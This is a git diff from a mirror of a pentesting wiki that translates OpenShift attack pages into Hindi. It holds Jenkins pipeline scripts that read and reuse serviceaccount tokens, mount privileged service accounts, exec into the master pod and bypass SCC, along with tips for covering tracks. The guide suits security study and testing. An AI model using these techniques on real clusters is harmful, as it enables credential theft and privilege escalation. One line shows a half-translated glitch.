mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -17,7 +17,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,34 +2,32 @@
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
OpenShift के साथ काम करने से पहले, सुनिश्चित करें कि आप Kubernetes वातावरण के साथ सहज हैं। पूरा OpenShift अध्याय मानता है कि आपके पास Kubernetes का पूर्व ज्ञान है।
|
||||
|
||||
## OpenShift - Basic Information
|
||||
|
||||
### Introduction
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift Red Hat का कंटेनर एप्लिकेशन प्लेटफॉर्म है जो Kubernetes सुविधाओं का एक सुपरसेट प्रदान करता है। OpenShift की सुरक्षा नीतियाँ अधिक कठोर हैं। उदाहरण के लिए, एक कंटेनर को रूट के रूप में चलाना मना है। यह सुरक्षा बढ़ाने के लिए एक सुरक्षित-डिफ़ॉल्ट विकल्प भी प्रदान करता है। OpenShift में एक वेब कंसोल है जिसमें एक टच लॉगिन पृष्ठ शामिल है।
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift के साथ इसका अपना CLI आता है, जिसे यहाँ पाया जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
CLI का उपयोग करके लॉगिन करने के लिए:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
### **OpenShift - सुरक्षा संदर्भ प्रतिबंध** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
उस [RBAC संसाधनों](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) के अलावा जो यह नियंत्रित करते हैं कि एक उपयोगकर्ता क्या कर सकता है, OpenShift कंटेनर प्लेटफॉर्म _सुरक्षा संदर्भ प्रतिबंध_ (SCC) प्रदान करता है जो यह नियंत्रित करते हैं कि एक पॉड क्या क्रियाएँ कर सकता है और इसके पास क्या पहुँच है।
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC एक नीति वस्तु है जिसमें विशेष नियम होते हैं जो बुनियादी ढाँचे के साथ मेल खाते हैं, जबकि RBAC के नियम प्लेटफॉर्म के साथ मेल खाते हैं। यह हमें यह परिभाषित करने में मदद करता है कि कंटेनर को कौन से लिनक्स एक्सेस-नियंत्रण सुविधाओं का अनुरोध/चलाने की अनुमति होनी चाहिए। उदाहरण: लिनक्स क्षमताएँ, SECCOMP प्रोफाइल, लोकलहोस्ट डिर्स को माउंट करना, आदि।
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
यह पृष्ठ बताता है कि आप Openshift (या Kubernetes) क्लस्टर में चल रहे Jenkins इंस्टेंस पर कैसे हमला कर सकते हैं।
|
||||
|
||||
## Disclaimer
|
||||
## अस्वीकरण
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Jenkins इंस्टेंस को Openshift या Kubernetes क्लस्टर में तैनात किया जा सकता है। आपके संदर्भ के आधार पर, आपको किसी भी दिखाए गए पेलोड, yaml या तकनीक को अनुकूलित करने की आवश्यकता हो सकती है। Jenkins पर हमले के बारे में अधिक जानकारी के लिए, आप [इस पृष्ठ](../../../pentesting-ci-cd/jenkins-security/) को देख सकते हैं।
|
||||
|
||||
## Prerequisites
|
||||
## पूर्वापेक्षाएँ
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Jenkins इंस्टेंस में उपयोगकर्ता पहुंच या 1b. एक SCM रिपॉजिटरी में लिखने की अनुमति के साथ उपयोगकर्ता पहुंच जहां एक स्वचालित निर्माण एक पुश/मर्ज के बाद ट्रिगर होता है।
|
||||
|
||||
## How it works
|
||||
## यह कैसे काम करता है
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
मूल रूप से, पर्दे के पीछे लगभग सब कुछ एक नियमित Jenkins इंस्टेंस की तरह काम करता है जो एक VM में चल रहा है। मुख्य अंतर समग्र आर्किटेक्चर और यह है कि Openshift (या Kubernetes) क्लस्टर के अंदर निर्माण कैसे प्रबंधित होते हैं।
|
||||
|
||||
### Builds
|
||||
### निर्माण
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
जब एक निर्माण ट्रिगर होता है, तो इसे पहले Jenkins मास्टर नोड द्वारा प्रबंधित/संयोजित किया जाता है और फिर एक एजेंट/स्लेव/वर्कर को सौंपा जाता है। इस संदर्भ में, मास्टर नोड बस एक नियमित पॉड है जो एक नामस्थान में चल रहा है (जो कि उस नामस्थान से भिन्न हो सकता है जहां वर्कर चलते हैं)। यही बात वर्कर्स/स्लेव्स पर भी लागू होती है, हालाँकि वे निर्माण समाप्त होने के बाद नष्ट हो जाते हैं जबकि मास्टर हमेशा चालू रहता है। आपका निर्माण आमतौर पर एक पॉड के अंदर चलाया जाता है, जो Jenkins प्रशासकों द्वारा परिभाषित डिफ़ॉल्ट पॉड टेम्पलेट का उपयोग करता है।
|
||||
|
||||
### Triggering a build
|
||||
### निर्माण को ट्रिगर करना
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
आपके पास निर्माण को ट्रिगर करने के लिए कई मुख्य तरीके हैं जैसे:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. आपके पास Jenkins तक UI पहुंच है
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
एक बहुत आसान और सुविधाजनक तरीका है एक मौजूदा निर्माण की पुनरावृत्ति कार्यक्षमता का उपयोग करना। यह आपको एक पूर्व निष्पादित निर्माण को पुनः चलाने की अनुमति देता है जबकि आपको ग्रूवी स्क्रिप्ट को अपडेट करने की अनुमति देता है। इसके लिए Jenkins फ़ोल्डर पर विशेषाधिकार और एक पूर्व निर्धारित पाइपलाइन की आवश्यकता होती है। यदि आपको छिपकर काम करना है, तो आप अपनी ट्रिगर की गई निर्माणों को हटा सकते हैं यदि आपके पास पर्याप्त अनुमति है।
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. आपके पास SCM पर लिखने की पहुंच है और स्वचालित निर्माण वेबहुक के माध्यम से कॉन्फ़िगर किए गए हैं
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
आप बस एक निर्माण स्क्रिप्ट (जैसे Jenkinsfile) को संपादित कर सकते हैं, कमिट कर सकते हैं और पुश कर सकते हैं (यदि निर्माण केवल PR मर्ज पर ट्रिगर होते हैं तो अंततः एक PR बना सकते हैं)। ध्यान रखें कि यह मार्ग बहुत शोर करता है और आपके निशान साफ़ करने के लिए उच्च विशेषाधिकार की आवश्यकता होती है।
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
## Jenkins निर्माण पॉड YAML ओवरराइड
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,175 +1,166 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
यह प्लगइन ज्यादातर openshift/kubernetes क्लस्टर के अंदर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ [यहाँ](https://plugins.jenkins.io/kubernetes/) है।
|
||||
यह कुछ कार्यात्मकताएँ प्रदान करता है जैसे कि डेवलपर्स को जेनकिंस बिल्ड पॉड की कुछ डिफ़ॉल्ट कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता।
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
|
||||
यह प्लगइन डेवलपर्स को उनके कोड को उपयुक्त वातावरण में बनाने के दौरान लचीलापन प्रदान करता है।
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
यह किसी भी सुलभ इमेज जैसे कि Kali Linux का उपयोग करने के लिए दुरुपयोग किया जा सकता है और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित किया जा सकता है।
|
||||
नीचे दिए गए उदाहरण में, हम चल रहे पॉड के सर्विसएकाउंट टोकन को एक्सफिल्ट्रेट कर सकते हैं।
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
एक अलग सिंटैक्स उसी लक्ष्य को प्राप्त करने के लिए।
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
पॉड के नामस्थान को ओवरराइड करने का नमूना
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
एक और उदाहरण जो एक serviceaccount को माउंट करने की कोशिश करता है (जिसके पास आपके बिल्ड को चलाने वाले डिफ़ॉल्ट वाले की तुलना में अधिक अनुमतियाँ हो सकती हैं) इसके नाम के आधार पर। आपको पहले मौजूदा serviceaccounts का अनुमान लगाने या उन्हें सूचीबद्ध करने की आवश्यकता हो सकती है।
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
|
||||
## Going further
|
||||
@@ -178,7 +169,7 @@ Once you get used to play around with it, use your knowledge on Jenkins and Kube
|
||||
|
||||
Ask yourself the following questions:
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- Which सेवा खाता is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
@@ -194,85 +185,76 @@ Let's also assume that you have the oc command installed inside the running buil
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
आपकी पहुँच के आधार पर, या तो आपको बिल्ड स्क्रिप्ट से अपने हमले को जारी रखना होगा या आप चल रहे क्लस्टर पर इस sa के रूप में सीधे लॉगिन कर सकते हैं:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण भी ले सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप आसानी से इस पॉड की पहचान इसके नाम और इस तथ्य के माध्यम से कर सकते हैं कि इसे jenkins डेटा संग्रहीत करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए।
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
यदि मास्टर नोड पॉड उसी नामस्थान में नहीं चल रहा है जैसे कि श्रमिक, तो आप मास्टर नामस्थान को लक्षित करके समान हमले करने की कोशिश कर सकते हैं। मान लीजिए कि इसे _jenkins-master_ कहा जाता है। ध्यान रखें कि सेवा खाता master-sa _jenkins-master_ नामस्थान में होना चाहिए (और यह _worker-ns_ नामस्थान में नहीं हो सकता है)
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -17,7 +17,3 @@ openshift-tekton.md
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,26 +2,22 @@
|
||||
|
||||
## Missing Service Account
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
यह होता है कि क्लस्टर एक पूर्व-निर्धारित टेम्पलेट के साथ तैनात किया गया है जो स्वचालित रूप से Roles, RoleBindings और यहां तक कि SCC को उस सेवा खाते के लिए सेट करता है जो अभी तक बनाया नहीं गया है। यदि आप उन्हें बना सकते हैं तो यह विशेषाधिकार वृद्धि का कारण बन सकता है। इस मामले में, आप नए बनाए गए SA का टोकन और संबंधित भूमिका या SCC प्राप्त कर सकेंगे। वही मामला तब होता है जब गायब SA एक गायब प्रोजेक्ट का हिस्सा होता है, इस मामले में यदि आप प्रोजेक्ट बना सकते हैं और फिर SA बना सकते हैं, तो आप संबंधित Roles और SCC प्राप्त करते हैं।
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
पिछले ग्राफ में हमें कई AbsentProject मिले, जिसका अर्थ है कि कई प्रोजेक्ट जो Roles Bindings या SCC में दिखाई देते हैं लेकिन अभी तक क्लस्टर में बनाए नहीं गए हैं। उसी संदर्भ में हमें एक AbsentServiceAccount भी मिला।
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
यदि हम एक प्रोजेक्ट और उसमें गायब SA बना सकते हैं, तो SA उस भूमिका या SCC से विरासत में मिलेगा जो AbsentServiceAccount को लक्षित कर रहे थे। जो विशेषाधिकार वृद्धि का कारण बन सकता है।
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
निम्नलिखित उदाहरण एक गायब SA को दिखाता है जिसे node-exporter SCC दिया गया है:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
इस समस्या को सूचीबद्ध करने और सामान्य रूप से एक OpenShift क्लस्टर को ग्राफ करने के लिए निम्नलिखित उपकरण का उपयोग किया जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## विशेषाधिकार प्राप्त नामस्थान
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
डिफ़ॉल्ट रूप से, SCC निम्नलिखित परियोजनाओं पर लागू नहीं होता है:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
यदि आप इन नामस्थानों में से किसी एक में पॉड्स तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल प्रणाली को माउंट करने की अनुमति मिलती है।
|
||||
|
||||
## Namespace Label
|
||||
## नामस्थान लेबल
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC आवेदन को अक्षम करने का एक तरीका है। आपको निम्नलिखित में से कम से कम एक अनुमति होनी चाहिए:
|
||||
|
||||
- एक नामस्थान बनाना और इस नामस्थान पर एक पॉड बनाना
|
||||
- एक नामस्थान संपादित करना और इस नामस्थान पर एक पॉड बनाना
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के भीतर सभी पॉड्स पर कोई SCCs लागू नहीं होते, प्रभावी रूप से किसी भी प्रतिबंध को हटा दिया जाता है।
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## लेबल जोड़ें
|
||||
|
||||
अपने नामस्थान में लेबल जोड़ने के लिए:
|
||||
